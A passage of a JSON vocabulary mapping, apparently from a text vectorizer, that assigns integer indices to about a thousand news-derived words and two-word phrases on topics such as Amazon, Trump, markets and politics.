bipartisanship\": 53951,\n  \"shutting gumball\": 53952,\n  \"source projectsa\": 53953,\n  \"story shared\": 53954,\n  \"duzer\": 53955,\n  \"death toll\": 53956,\n  \"netease declined\": 53957,\n  \"walzer president\": 53958,\n  \"blog saying\": 53959,\n  \"amazon accountable\": 53960,\n  \"tariff effects\": 53961,\n  \"includes good\": 53962,\n  \"incarcerated\": 53963,\n  \"framed pictures\": 53964,\n  \"safe climate\": 53965,\n  \"contradicts\": 53966,\n  \"bids process\": 53967,\n  \"india walks\": 53968,\n  \"rising wages\": 53969,\n  \"vocal\": 53970,\n  \"enter valid\": 53971,\n  \"ethics nightmare\": 53972,\n  \"national taxpayers\": 53973,\n  \"angelle appointed\": 53974,\n  \"sue company\": 53975,\n  \"distinct streams\": 53976,\n  \"recount\": 53977,\n  \"bloomingdale isn\": 53978,\n  \"euro worth\": 53979,\n  \"food production\": 53980,\n  \"board ran\": 53981,\n  \"limestone\": 53982,\n  \"newest wacky\": 53983,\n  \"logo flying\": 53984,\n  \"yemen urged\": 53985,\n  \"disincentivize\": 53986,\n  \"carlyle\": 53987,\n  \"slot known\": 53988,\n  \"officials refuse\": 53989,\n  \"clinton frame\": 53990,\n  \"economic justice\": 53991,\n  \"whatthe mayor\": 53992,\n  \"treatment provider\": 53993,\n  \"temperatures blasted\": 53994,\n  \"interview ms\": 53995,\n  \"says million\": 53996,\n  \"responders updated\": 53997,\n  \"transactional work\": 53998,\n  \"bought calls\": 53999,\n  \"savings rate\": 54000,\n  \"unclassified service\": 54001,\n  \"warned harley\": 54002,\n  \"statements signaling\": 54003,\n  \"effectively blackmailed\": 54004,\n  \"issued restraining\": 54005,\n  \"ownership tmz\": 54006,\n  \"beijing afp\": 54007,\n  \"trade higher\": 54008,\n  \"fake blond\": 54009,\n  \"attracts local\": 54010,\n  \"rate amazon\": 54011,\n  \"gaza\": 54012,\n  \"business benefit\": 54013,\n  \"robert swan\": 54014,\n  \"savvy immigrants\": 54015,\n  \"346\": 54016,\n  \"straighten\": 54017,\n  \"influence addiction\": 54018,\n  \"alex wayne\": 54019,\n  \"intimacy\": 54020,\n  \"sully\": 54021,\n  \"aviance cap\": 54022,\n  \"confidential discounts\": 54023,\n  \"isn government\": 54024,\n  \"peaks revival\": 54025,\n  \"asking amazon\": 54026,\n  \"true members\": 54027,\n  \"certain assets\": 54028,\n  \"zydtv2ojir pic\": 54029,\n  \"financials look\": 54030,\n  \"party approach\": 54031,\n  \"commerce pointing\": 54032,\n  \"target hiked\": 54033,\n  \"baically\": 54034,\n  \"la plata\": 54035,\n  \"mutually disdainful\": 54036,\n  \"chang\": 54037,\n  \"cadence fake\": 54038,\n  \"return activity\": 54039,\n  \"investing overseas\": 54040,\n  \"major casino\": 54041,\n  \"gospel\": 54042,\n  \"rob jagodzinski\": 54043,\n  \"gallus\": 54044,\n  \"outside buffalo\": 54045,\n  \"new cover\": 54046,\n  \"expired year\": 54047,\n  \"jeremy clarkson\": 54048,\n  \"mafia likes\": 54049,\n  \"owns 491\": 54050,\n  \"people looking\": 54051,\n  \"walmart parking\": 54052,\n  \"term negative\": 54053,\n  \"higher subscription\": 54054,\n  \"toxic garbage\": 54055,\n  \"compete economically\": 54056,\n  \"tolled bridge\": 54057,\n  \"chemical manufacturers\": 54058,\n  \"tropical trump\": 54059,\n  \"mansion beatriz\": 54060,\n  \"bullying artificial\": 54061,\n  \"resistance supporting\": 54062,\n  \"criticizing founder\": 54063,\n  \"indefinitely postpone\": 54064,\n  \"marine industries\": 54065,\n  \"overall wages\": 54066,\n  \"watching width\": 54067,\n  \"la bureau\": 54068,\n  \"analysts consensus\": 54069,\n  \"mu slowing\": 54070,\n  \"descriptionplaintext sears\": 54071,\n  \"computed\": 54072,\n  \"replace price\": 54073,\n  \"doctors offices\": 54074,\n  \"square foot\": 54075,\n  \"demand combined\": 54076,\n  \"southerner wine\": 54077,\n  \"lost major\": 54078,\n  \"fulfillment erp\": 54079,\n  \"money luckin\": 54080,\n  \"tm low\": 54081,\n  \"ofincoming\": 54082,\n  \"massey\": 54083,\n  \"amazon brand\": 54084,\n  \"viewing ibm\": 54085,\n  \"wasn right\": 54086,\n  \"journal titled\": 54087,\n  \"murder days\": 54088,\n  \"taut thriller\": 54089,\n  \"bed bath\": 54090,\n  \"new insights\": 54091,\n  \"worshiped\": 54092,\n  \"trump advisor\": 54093,\n  \"gaines artistic\": 54094,\n  \"secretary kirstjen\": 54095,\n  \"horns\": 54096,\n  \"office respectively\": 54097,\n  \"edwards director\": 54098,\n  \"slansky editor\": 54099,\n  \"poll conducted\": 54100,\n  \"biological treatments\": 54101,\n  \"school campus\": 54102,\n  \"obtain users\": 54103,\n  \"aws sales\": 54104,\n  \"leads\": 54105,\n  \"rummage sale\": 54106,\n  \"power division\": 54107,\n  \"cnbc bernie\": 54108,\n  \"unfairly tell\": 54109,\n  \"ending fines\": 54110,\n  \"moday announced\": 54111,\n  \"fraud senior\": 54112,\n  \"announcer\": 54113,\n  \"berlin\": 54114,\n  \"redman\": 54115,\n  \"middeninkomen kun\": 54116,\n  \"cost cnn\": 54117,\n  \"true delivery\": 54118,\n  \"the_donald\": 54119,\n  \"rightfully concerned\": 54120,\n  \"executive satya\": 54121,\n  \"ny member\": 54122,\n  \"bring hq2\": 54123,\n  \"customers purchase\": 54124,\n  \"apple ebay\": 54125,\n  \"tariff tensions\": 54126,\n  \"cancer drug\": 54127,\n  \"heard various\": 54128,\n  \"business using\": 54129,\n  \"contentid isqueue\": 54130,\n  \"sixth straight\": 54131,\n  \"benefit projects\": 54132,\n  \"wcmh walmart\": 54133,\n  \"lawmakers announced\": 54134,\n  \"2018 fright\": 54135,\n  \"tag\": 54136,\n  \"spatula\": 54137,\n  \"sanctuary\": 54138,\n  \"company worldwide\": 54139,\n  \"prompted questions\": 54140,\n  \"wertheimer elizabeth\": 54141,\n  \"groups humans\": 54142,\n  \"payments platform\": 54143,\n  \"liquidated\": 54144,\n  \"continued efforts\": 54145,\n  \"albert cheng\": 54146,\n  \"truly extraordinary\": 54147,\n  \"suqar desserts\": 54148,\n  \"trump mind\": 54149,\n  \"amazon domain\": 54150,\n  \"wealth reported\": 54151,\n  \"g0 i4\": 54152,\n  \"disadvantaged\": 54153,\n  \"announcement raising\": 54154,\n  \"000 brother\": 54155,\n  \"combating trafficking\": 54156,\n  \"media today\": 54157,\n  \"chief critic\": 54158,\n  \"information provision\": 54159,\n  \"state 87m\": 54160,\n  \"kim_bak status\": 54161,\n  \"today topped\": 54162,\n  \"amazon direct\": 54163,\n  \"severely punished\": 54164,\n  \"anti george\": 54165,\n  \"included links\": 54166,\n  \"reconstituted\": 54167,\n  \"rankings rig\": 54168,\n  \"china endpoints\": 54169,\n  \"fba shipment\": 54170,\n  \"networks judith\": 54171,\n  \"present cnp\": 54172,\n  \"packages experts\": 54173,\n  \"suppressing conservative\": 54174,\n  \"plantations\": 54175,\n  \"lead\": 54176,\n  \"carlson breaks\": 54177,\n  \"determined effort\": 54178,\n  \"battered\": 54179,\n  \"charges patients\": 54180,\n  \"interviewed nervous\": 54181,\n  \"capitalism\": 54182,\n  \"erica werner\": 54183,\n  \"media left\": 54184,\n  \"story spacex\": 54185,\n  \"1539546\": 54186,\n  \"atlantic derek\": 54187,\n  \"affleck disaster\": 54188,\n  \"prioritize protecting\": 54189,\n  \"carefully contorted\": 54190,\n  \"billion fine\": 54191,\n  \"jersey refugees\": 54192,\n  \"add nashville\": 54193,\n  \"suicides\": 54194,\n  \"lawsuit oracle\": 54195,\n  \"really quite\": 54196,\n  \"robert kaiser\": 54197,\n  \"crybaby wannabe\": 54198,\n  \"small touch\": 54199,\n  \"ngos\": 54200,\n  \"responded haven\": 54201,\n  \"republicans allegedly\": 54202,\n  \"plan called\": 54203,\n  \"johnson white\": 54204,\n  \"office abuse\": 54205,\n  \"bouncing higher\": 54206,\n  \"wieser\": 54207,\n  \"great nation\": 54208,\n  \"cited private\": 54209,\n  \"relevant evidence\": 54210,\n  \"engulfing niagara\": 54211,\n  \"packages internationally\": 54212,\n  \"hitch\": 54213,\n  \"businesses won\": 54214,\n  \"join influential\": 54215,\n  \"commute\": 54216,\n  \"jaffray making\": 54217,\n  \"morality\": 54218,\n  \"year called\": 54219,\n  \"quarter sales\": 54220,\n  \"backlash glor\": 54221,\n  \"bipartisan border\": 54222,\n  \"trump considers\": 54223,\n  \"people bolsonaro\": 54224,\n  \"wikileak\": 54225,\n  \"sexual wet\": 54226,\n  \"company data\": 54227,\n  \"warner spokesman\": 54228,\n  \"reports took\": 54229,\n  \"remains volatile\": 54230,\n  \"postal inspection\": 54231,\n  \"banks taxpayer\": 54232,\n  \"conman\": 54233,\n  \"greatest shows\": 54234,\n  \"house wants\": 54235,\n  \"unrestricted\": 54236,\n  \"personalization\": 54237,\n  \"additional 600\": 54238,\n  \"amazon meet\": 54239,\n  \"postpone hearing\": 54240,\n  \"secure personal\": 54241,\n  \"recent paris\": 54242,\n  \"elected bannon\": 54243,\n  \"2018 requiring\": 54244,\n  \"unflattering\": 54245,\n  \"capital backed\": 54246,\n  \"trump owned\": 54247,\n  \"did surprise\": 54248,\n  \"johnson sr\": 54249,\n  \"visiting\": 54250,\n  \"unfairly targets\": 54251,\n  \"jobs aplenty\": 54252,\n  \"droop\": 54253,\n  \"zuker explains\": 54254,\n  \"katz\": 54255,\n  \"banner month\": 54256,\n  \"julie\": 54257,\n  \"tabloid labelled\": 54258,\n  \"exempt certain\": 54259,\n  \"including display\": 54260,\n  \"years attracted\": 54261,\n  \"biggest software\": 54262,\n  \"long searching\": 54263,\n  \"ohio fed\": 54264,\n  \"pedophile\": 54265,\n  \"plastic\": 54266,\n  \"findlay\": 54267,\n  \"alternative cures\": 54268,\n  \"learning engines\": 54269,\n  \"slot referred\": 54270,\n  \"gianni\": 54271,\n  \"moll\\u00e0\": 54272,\n  \"near jared\": 54273,\n  \"kam\": 54274,\n  \"eliana murillo\": 54275,\n  \"memoir spicer\": 54276,\n  \"stumbled\": 54277,\n  \"misgivings\": 54278,\n  \"public remains\": 54279,\n  \"leverage ratio\": 54280,\n  \"cummings ranking\": 54281,\n  \"potions\": 54282,\n  \"year demand\": 54283,\n  \"reeling\": 54284,\n  \"future specifically\": 54285,\n  \"vast expanse\": 54286,\n  \"zapolsky david\": 54287,\n  \"unveiling gives\": 54288,\n  \"gem\": 54289,\n  \"errors\": 54290,\n  \"spellings used\": 54291,\n  \"cnnpolitical\": 54292,\n  \"america 157\": 54293,\n  \"antibiotic resistant\": 54294,\n  \"jacobs jenniferjjacobs\": 54295,\n  \"dislocation\": 54296,\n  \"scholar\": 54297,\n  \"ads allegedly\": 54298,\n  \"m81dr1kbgl\": 54299,\n  \"stocks bear\": 54300,\n  \"rule maloney\": 54301,\n  \"opprobrium\": 54302,\n  \"sell airbus\": 54303,\n  \"born inside\": 54304,\n  \"minor success\": 54305,\n  \"mersey gateway\": 54306,\n  \"indicator readings\": 54307,\n  \"make small\": 54308,\n  \"coverage displeases\": 54309,\n  \"9l63chza7h fearless\": 54310,\n  \"senate\": 54311,\n  \"quarantined area\": 54312,\n  \"lindsey piegza\": 54313,\n  \"company richer\": 54314,\n  \"neighborhood blog\": 54315,\n  \"start transitioning\": 54316,\n  \"america highways\": 54317,\n  \"spur investment\": 54318,\n  \"monitor arms\": 54319,\n  \"live stock\": 54320,\n  \"current commerce\": 54321,\n  \"big corporations\": 54322,\n  \"time jobs\": 54323,\n  \"reports actor\": 54324,\n  \"joe lewis\": 54325,\n  \"jedi findings\": 54326,\n  \"booker sanders\": 54327,\n  \"stock slipped\": 54328,\n  \"officers\": 54329,\n  \"trump vaults\": 54330,\n  \"tabloid committed\": 54331,\n  \"low number\": 54332,\n  \"new lower\": 54333,\n  \"lg v35\": 54334,\n  \"deals 01am\": 54335,\n  \"spending hikes\": 54336,\n  \"reception desk\": 54337,\n  \"credit sizes\": 54338,\n  \"target nyse\": 54339,\n  \"movimiento\": 54340,\n  \"harassment claims\": 54341,\n  \"bipartisan criticism\": 54342,\n  \"financially cummings\": 54343,\n  \"reminded\": 54344,\n  \"breaks having\": 54345,\n  \"internet\": 54346,\n  \"military cemetery\": 54347,\n  \"stares\": 54348,\n  \"helsinki president\": 54349,\n  \"lies great\": 54350,\n  \"online gambling\": 54351,\n  \"getting briefed\": 54352,\n  \"treats workers\": 54353,\n  \"viverito fix\": 54354,\n  \"foxconn otcmkts\": 54355,\n  \"emarketer earlier\": 54356,\n  \"piece set\": 54357,\n  \"old institution\": 54358,\n  \"washington bolsonaro\": 54359,\n  \"spending don\": 54360,\n  \"account trulyextraordinary\": 54361,\n  \"oline cogdill\": 54362,\n  \"bad publicity\": 54363,\n  \"wildfires thanks\": 54364,\n  \"george stephanopoulos\": 54365,\n  \"target store\": 54366,\n  \"exits\": 54367,\n  \"executive bruce\": 54368,\n  \"441 shares\": 54369,\n  \"nuclear arsenal\": 54370,\n  \"store does\": 54371,\n  \"growing national\": 54372,\n  \"doesn include\": 54373,\n  \"pair say\": 54374,\n  \"amazon crashed\": 54375,\n  \"carell concludes\": 54376,\n  \"filings microsoft\": 54377,\n  \"chances\": 54378,\n  \"trump arizona\": 54379,\n  \"darcy\": 54380,\n  \"r4ee j5q\": 54381,\n  \"time delves\": 54382,\n  \"nasty women\": 54383,\n  \"hardy\": 54384,\n  \"descriptionplaintext\": 54385,\n  \"husband employees\": 54386,\n  \"antitrust fervor\": 54387,\n  \"laura wasser\": 54388,\n  \"saban\": 54389,\n  \"don post\": 54390,\n  \"business person\": 54391,\n  \"taken steps\": 54392,\n  \"fulltime\": 54393,\n  \"year justice\": 54394,\n  \"opposed\": 54395,\n  \"whirlwind engagement\": 54396,\n  \"mcgehee clemmons\": 54397,\n  \"cowardly\": 54398,\n  \"llc told\": 54399,\n  \"safe\": 54400,\n  \"longest bear\": 54401,\n  \"direct troll\": 54402,\n  \"revealing memoir\": 54403,\n  \"affairs bezos\": 54404,\n  \"providing adequate\": 54405,\n  \"grave thenational\": 54406,\n  \"shipping options\": 54407,\n  \"essentially collecting\": 54408,\n  \"disputes manafort\": 54409,\n  \"fedex stay\": 54410,\n  \"mcd\": 54411,\n  \"security staff\": 54412,\n  \"2019 joining\": 54413,\n  \"mergers expansions\": 54414,\n  \"supremacy movement\": 54415,\n  \"corporations congress\": 54416,\n  \"competitor using\": 54417,\n  \"picks\": 54418,\n  \"china ministry\": 54419,\n  \"bought metapack\": 54420,\n  \"zurcher\": 54421,\n  \"sright amazon\": 54422,\n  \"owned company\": 54423,\n  \"past years\": 54424,\n  \"s2\": 54425,\n  \"stocks driven\": 54426,\n  \"china russia\": 54427,\n  \"richard grant\": 54428,\n  \"crisis management\": 54429,\n  \"sales walmart\": 54430,\n  \"pace profitable\": 54431,\n  \"haldimand\": 54432,\n  \"relatively standard\": 54433,\n  \"assets equivalent\": 54434,\n  \"crossing tracks\": 54435,\n  \"breaking christmas\": 54436,\n  \"mccabe minutes\": 54437,\n  \"nato pullout\": 54438,\n  \"cassidy right\": 54439,\n  \"obama served\": 54440,\n  \"packages clear\": 54441,\n  \"extension misery\": 54442,\n  \"corporate blog\": 54443,\n  \"tur little\": 54444,\n  \"treasury debt\": 54445,\n  \"conservative nonprofits\": 54446,\n  \"312\": 54447,\n  \"prevent amazon\": 54448,\n  \"avoid tax\": 54449,\n  \"modified foods\": 54450,\n  \"inflected\": 54451,\n  \"cup party\": 54452,\n  \"modern teachings\": 54453,\n  \"destinies\": 54454,\n  \"shares zurcher\": 54455,\n  \"telly\": 54456,\n  \"alsdorf\": 54457,\n  \"performer cbs\": 54458,\n  \"column men\": 54459,\n  \"pizza pasta\": 54460,\n  \"agency denied\": 54461,\n  \"casone\": 54462,\n  \"network wish\": 54463,\n  \"foto sourcegregg\": 54464,\n  \"virtually certain\": 54465,\n  \"pulse\": 54466,\n  \"dictating\": 54467,\n  \"amd worth\": 54468,\n  \"nashville operations\": 54469,\n  \"pence timeline\": 54470,\n  \"rides romantic\": 54471,\n  \"secretary betsy\": 54472,\n  \"checkout free\": 54473,\n  \"man anangbhai\": 54474,\n  \"25357 bought\": 54475,\n  \"courier news\": 54476,\n  \"burrito eating\": 54477,\n  \"quite bit\": 54478,\n  \"reviewers\": 54479,\n  \"shorts\": 54480,\n  \"wrong order\": 54481,\n  \"nomadix pound\": 54482,\n  \"wilson webb\": 54483,\n  \"remained lit\": 54484,\n  \"touting violations\": 54485,\n  \"rooney hamilton\": 54486,\n  \"mallory blount\": 54487,\n  \"decline similar\": 54488,\n  \"bielamowicz president\": 54489,\n  \"fortunately trump\": 54490,\n  \"conducted outreach\": 54491,\n  \"cited hitler\": 54492,\n  \"funny country\": 54493,\n  \"1005et\": 54494,\n  \"memory chip\": 54495,\n  \"friend email\": 54496,\n  \"talks conclude\": 54497,\n  \"normal just\": 54498,\n  \"supposed abuse\": 54499,\n  \"cast ballots\": 54500,\n  \"budget cloud\": 54501,\n  \"baritone voice\": 54502,\n  \"taxpayer help\": 54503,\n  \"security detracts\": 54504,\n  \"technology assists\": 54505,\n  \"conduct intended\": 54506,\n  \"term path\": 54507,\n  \"summation\": 54508,\n  \"sfly sector\": 54509,\n  \"office versus\": 54510,\n  \"release duty\": 54511,\n  \"headquarters far\": 54512,\n  \"immigrant community\": 54513,\n  \"amazon georgia\": 54514,\n  \"200 acre\": 54515,\n  \"bodyguard\": 54516,\n  \"emergency government\": 54517,\n  \"church leader\": 54518,\n  \"bad actor\": 54519,\n  \"62b\": 54520,\n  \"instance told\": 54521,\n  \"sweeney words\": 54522,\n  \"initiative olsavsky\": 54523,\n  \"uber eats\": 54524,\n  \"221670\": 54525,\n  \"educationfrom troubled\": 54526,\n  \"holiday planning\": 54527,\n  \"tracing counting\": 54528,\n  \"immigration policies\": 54529,\n  \"chocolate potatoes\": 54530,\n  \"520\": 54531,\n  \"developers association\": 54532,\n  \"philidelphia\": 54533,\n  \"salt fat\": 54534,\n  \"expire unused\": 54535,\n  \"theactivism\": 54536,\n  \"trump questionable\": 54537,\n  \"inclusion agenda\": 54538,\n  \"spinning\": 54539,\n  \"soon venhuizen\": 54540,\n  \"bezos backlash\": 54541,\n  \"merely dictating\": 54542,\n  \"british film\": 54543,\n  \"gay city\": 54544,\n  \"trial emma\": 54545,\n  \"davis congressional\": 54546,\n  \"scott galloway\": 54547,\n  \"laxative\": 54548,\n  \"sales start\": 54549,\n  \"gap year\": 54550,\n  \"151 ken\": 54551,\n  \"spent politico\": 54552,\n  \"kohl\": 54553,\n  \"arabia used\": 54554,\n  \"war escalation\": 54555,\n  \"blast kills\": 54556,\n  \"real goals\": 54557,\n  \"chinese purchases\": 54558,\n  \"populous\": 54559,\n  \"gunman\": 54560,\n  \"clothes water\": 54561,\n  \"live tv\": 54562,\n  \"king small\": 54563,\n  \"kohl starbucks\": 54564,\n  \"ceo nadia\": 54565,\n  \"rhetorical weapon\": 54566,\n  \"decay steven\": 54567,\n  \"imposed decade\": 54568,\n  \"antitrust enforcer\": 54569,\n  \"becky\": 54570,\n  \"amazon purchased\": 54571,\n  \"duration sourcelink\": 54572,\n  \"lies meant\": 54573,\n  \"solid\": 54574,\n  \"levels rise\": 54575,\n  \"people active\": 54576,\n  \"cities concerned\": 54577,\n  \"rent control\": 54578,\n  \"julia vitale\": 54579,\n  \"report rightly\": 54580,\n  \"getting slammed\": 54581,\n  \"device cars\": 54582,\n  \"antitrust laws\": 54583,\n  \"admit 30000\": 54584,\n  \"america amazon\": 54585,\n  \"158 shares\": 54586,\n  \"chips html\": 54587,\n  \"partners today\": 54588,\n  \"freely shop\": 54589,\n  \"awards began\": 54590,\n  \"maker expects\": 54591,\n  \"culturally accepted\": 54592,\n  \"gap set\": 54593,\n  \"industry forbes\": 54594,\n  \"southwest posted\": 54595,\n  \"sites owned\": 54596,\n  \"platform read\": 54597,\n  \"todd wynn\": 54598,\n  \"commercially\": 54599,\n  \"praised fox\": 54600,\n  \"environmental agency\": 54601,\n  \"versus apple\": 54602,\n  \"amazon represented\": 54603,\n  \"langford\": 54604,\n  \"400 washington\": 54605,\n  \"seeking common\": 54606,\n  \"setisvideocollection\": 54607,\n  \"announcement early\": 54608,\n  \"database db2\": 54609,\n  \"leading press\": 54610,\n  \"andrew cuomo\": 54611,\n  \"starr report\": 54612,\n  \"harney 2018\": 54613,\n  \"share cah\": 54614,\n  \"distribution facility\": 54615,\n  \"getshowinfo\": 54616,\n  \"term buy\": 54617,\n  \"predecessor conrad\": 54618,\n  \"market moves\": 54619,\n  \"dangerous places\": 54620,\n  \"hydropower illegal\": 54621,\n  \"toddler 40am\": 54622,\n  \"000 customers\": 54623,\n  \"form union\": 54624,\n  \"economic turmoil\": 54625,\n  \"hopeless\": 54626,\n  \"market capitalism\": 54627,\n  \"independently confirmed\": 54628,\n  \"rihanna\": 54629,\n  \"kjgvlgygyk shauna\": 54630,\n  \"massive slowdowns\": 54631,\n  \"thanksgiving plans\": 54632,\n  \"twitter signed\": 54633,\n  \"chaffetz\": 54634,\n  \"subsequent conversation\": 54635,\n  \"structured format\": 54636,\n  \"custody\": 54637,\n  \"environmental\": 54638,\n  \"utilizing employees\": 54639,\n  \"police determine\": 54640,\n  \"split positions\": 54641,\n  \"occasionally calling\": 54642,\n  \"therapist obsessed\": 54643,\n  \"established brands\": 54644,\n  \"140 degrees\": 54645,\n  \"unease embedded\": 54646,\n  \"2018 world\": 54647,\n  \"led lantern\": 54648,\n  \"converting earth\": 54649,\n  \"floated\": 54650,\n  \"sci\": 54651,\n  \"royally rip\": 54652,\n  \"offered unique\": 54653,\n  \"morally superior\": 54654,\n  \"ryan wis\": 54655,\n  \"technology potential\": 54656,\n  \"nervous\": 54657,\n  \"notoriously sketchy\": 54658,\n  \"gun called\": 54659,\n  \"2017 hope\": 54660,\n  \"win infestitation\": 54661,\n  \"long railed\": 54662,\n  \"computing benefiting\": 54663,\n  \"home goods\": 54664,\n  \"briefly hit\": 54665,\n  \"aiello\": 54666,\n  \"silence kurt\": 54667,\n  \"vantaa\": 54668,\n  \"nixon playbook\": 54669,\n  \"bending\": 54670,\n  \"workers businesses\": 54671,\n  \"spirits\": 54672,\n  \"distinctly bezos\": 54673,\n  \"companies licensing\": 54674,\n  \"street reuters\": 54675,\n  \"political aims\": 54676,\n  \"public campaign\": 54677,\n  \"varadkar\": 54678,\n  \"amazon salary\": 54679,\n  \"tackling drug\": 54680,\n  \"rsn portfolio\": 54681,\n  \"australian mines\": 54682,\n  \"murdered setting\": 54683,\n  \"questions buzzing\": 54684,\n  \"amazon introduction\": 54685,\n  \"hasn shamed\": 54686,\n  \"chyna\": 54687,\n  \"peace sign\": 54688,\n  \"search history\": 54689,\n  \"2017 previously\": 54690,\n  \"stone trump\": 54691,\n  \"begs\": 54692,\n  \"amazon audible\": 54693,\n  \"traitor mother\": 54694,\n  \"hoots\": 54695,\n  \"face billions\": 54696,\n  \"building store\": 54697,\n  \"decibels\": 54698,\n  \"generally screwing\": 54699,\n  \"local services\": 54700,\n  \"taking significant\": 54701,\n  \"staircase netflix\": 54702,\n  \"representative pointed\": 54703,\n  \"options include\": 54704,\n  \"alexander tenn\": 54705,\n  \"cheryl tiegs\": 54706,\n  \"stagnating incomes\": 54707,\n  \"complimentary\": 54708,\n  \"filings suggests\": 54709,\n  \"collaboration debuted\": 54710,\n  \"fomented\": 54711,\n  \"pitchfork drawn\": 54712,\n  \"handle parts\": 54713,\n  \"high yield\": 54714,\n  \"old bonwit\": 54715,\n  \"mchugh helms\": 54716,\n  \"empowering hundreds\": 54717,\n  \"manager sued\": 54718,\n  \"china compared\": 54719,\n  \"mile\": 54720,\n  \"trail differs\": 54721,\n  \"levin liberty\": 54722,\n  \"california emergency\": 54723,\n  \"overseen start\": 54724,\n  \"series makes\": 54725,\n  \"unauthorized content\": 54726,\n  \"leavenworth penitentiary\": 54727,\n  \"companies local\": 54728,\n  \"directly impact\": 54729,\n  \"blessed\": 54730,\n  \"rosen\": 54731,\n  \"institutional facebook\": 54732,\n  \"conger staffers\": 54733,\n  \"rise breaking\": 54734,\n  \"suisse\": 54735,\n  \"optimizing products\": 54736,\n  \"senior pastor\": 54737,\n  \"offering new\": 54738,\n  \"wages sen\": 54739,\n  \"inhumane conditions\": 54740,\n  \"blackout beijing\": 54741,\n  \"roared\": 54742,\n  \"squash\": 54743,\n  \"intolerant group\": 54744,\n  \"steve stockman\": 54745,\n  \"wouldn realistically\": 54746,\n  \"votes scheme\": 54747,\n  \"observation\": 54748,\n  \"myles grove\": 54749,\n  \"web changes\": 54750,\n  \"green takes\": 54751,\n  \"shoulder dictated\": 54752,\n  \"ami practices\": 54753,\n  \"built trump\": 54754,\n  \"state spent\": 54755,\n  \"epa\": 54756,\n  \"disconnect creates\": 54757,\n  \"broader spillover\": 54758,\n  \"intended\": 54759,\n  \"post daily\": 54760,\n  \"bezos investment\": 54761,\n  \"thai navy\": 54762,\n  \"implant\": 54763,\n  \"worth bezos\": 54764,\n  \"guidance bezos\": 54765,\n  \"reserve raise\": 54766,\n  \"immiseration\": 54767,\n  \"angeles celebration\": 54768,\n  \"sr keywords\": 54769,\n  \"money using\": 54770,\n  \"paying close\": 54771,\n  \"stop community\": 54772,\n  \"grossi\": 54773,\n  \"dweller fashion\": 54774,\n  \"king right\": 54775,\n  \"principles long\": 54776,\n  \"softer\": 54777,\n  \"nearly billion\": 54778,\n  \"market indicator\": 54779,\n  \"borne\": 54780,\n  \"mail ballots\": 54781,\n  \"senior program\": 54782,\n  \"american adults\": 54783,\n  \"mean amazonis\": 54784,\n  \"world scrawny\": 54785,\n  \"social behavior\": 54786,\n  \"indicating mcdonald\": 54787,\n  \"innocent\": 54788,\n  \"story born\": 54789,\n  \"covers cameroon\": 54790,\n  \"park chan\": 54791,\n  \"bookstore evolved\": 54792,\n  \"live sketch\": 54793,\n  \"means trump\": 54794,\n  \"nomination\": 54795,\n  \"ahead integrating\": 54796,\n  \"german distribution\": 54797,\n  \"repeated amazon\": 54798,\n  \"frank raffaele\": 54799,\n  \"suckers hawaiian\": 54800,\n  \"released task\": 54801,\n  \"q2 2018\": 54802,\n  \"wart\": 54803,\n  \"ignoring\": 54804,\n  \"nyc mayor\": 54805,\n  \"victory\": 54806,\n  \"including trucking\": 54807,\n  \"millionth\": 54808,\n  \"fee send\": 54809,\n  \"spicer upcoming\": 54810,\n  \"cia training\": 54811,\n  \"obtained salacious\": 54812,\n  \"stays secret\": 54813,\n  \"2016 founded\": 54814,\n  \"basically tell\": 54815,\n  \"derided\": 54816,\n  \"pregnancy maternity\": 54817,\n  \"elementary change\": 54818,\n  \"promptly bought\": 54819,\n  \"year red\": 54820,\n  \"interviewed stone\": 54821,\n  \"probability weighted\": 54822,\n  \"senator jon\": 54823,\n  \"gained tomi\": 54824,\n  \"political cover\": 54825,\n  \"address expert\": 54826,\n  \"builds just\": 54827,\n  \"firm gartner\": 54828,\n  \"interviews thanks\": 54829,\n  \"stefanik\": 54830,\n  \"amazon owners\": 54831,\n  \"eponymous 1985\": 54832,\n  \"battling\": 54833,\n  \"denial\": 54834,\n  \"ethical boundaries\": 54835,\n  \"everybodys\": 54836,\n  \"trump locations\": 54837,\n  \"realizing beijing\": 54838,\n  \"davao city\": 54839,\n  \"middle right\": 54840,\n  \"selling creepy\": 54841,\n  \"kevin kossowan\": 54842,\n  \"knock national\": 54843,\n  \"short supply\": 54844,\n  \"assembled\": 54845,\n  \"known campaign\": 54846,\n  \"server719399\": 54847,\n  \"weather break\": 54848,\n  \"tragedy sarah\": 54849,\n  \"jokingly suggests\": 54850,\n  \"media agreement\": 54851,\n  \"blogger\": 54852,\n  \"immediately brought\": 54853,\n  \"tpv grew\": 54854,\n  \"499 people\": 54855,\n  \"shanghai composite\": 54856,\n  \"including afro\": 54857,\n  \"xi jinping\": 54858,\n  \"huawei 5g\": 54859,\n  \"measurably easier\": 54860,\n  \"doctored\": 54861,\n  \"unused\": 54862,\n  \"24m\": 54863,\n  \"versa\": 54864,\n  \"tribal\": 54865,\n  \"efficiencies read\": 54866,\n  \"pillpack\": 54867,\n  \"adversely affecting\": 54868,\n  \"year fan\": 54869,\n  \"deserve closer\": 54870,\n  \"shadow moon\": 54871,\n  \"demands government\": 54872,\n  \"prominent decision\": 54873,\n  \"pushed postmaster\": 54874,\n  \"e8 c2x\": 54875,\n  \"festival awards\": 54876,\n  \"hotline\": 54877,\n  \"camera\": 54878,\n  \"assets euro\": 54879,\n  \"recent decades\": 54880,\n  \"monitor splc\": 54881,\n  \"weather south\": 54882,\n  \"deferred income\": 54883,\n  \"morning ehealth\": 54884,\n  \"related charges\": 54885,\n  \"describes amazon\": 54886,\n  \"loophole\": 54887,\n  \"born team\": 54888,\n  \"ecstatic\": 54889,\n  \"legalistic\": 54890,\n  \"new anti\": 54891,\n  \"2018 accounting\": 54892,\n  \"movements closing\": 54893,\n  \"stock online\": 54894,\n  \"avowed centrist\": 54895,\n  \"witherspoon hello\": 54896,\n  \"cooking melissa\": 54897,\n  \"doubled online\": 54898,\n  \"jack bauer\": 54899,\n  \"day schools\": 54900,\n  \"flood victims\": 54901,\n  \"wage jumped\": 54902,\n  \"dissemination service\": 54903,\n  \"faang stock\": 54904,\n  \"energy solutions\": 54905,\n  \"tax waivers\": 54906,\n  \"reported pecker\": 54907,\n  \"kbr amazon\": 54908,\n  \"libertarian group\": 54909,\n  \"create sustainable\": 54910,\n  \"2020 national\": 54911,\n  \"orbit trump\": 54912,\n  \"rand paul\": 54913,\n  \"foto sourcefacebook\": 54914,\n  \"foot store\": 54915,\n  \"blind\": 54916,\n  \"primary time\": 54917,\n  \"140 billion\": 54918,\n  \"painful lesson\": 54919,\n  \"wife novelist\": 54920,\n  \"alpha published\": 54921,\n  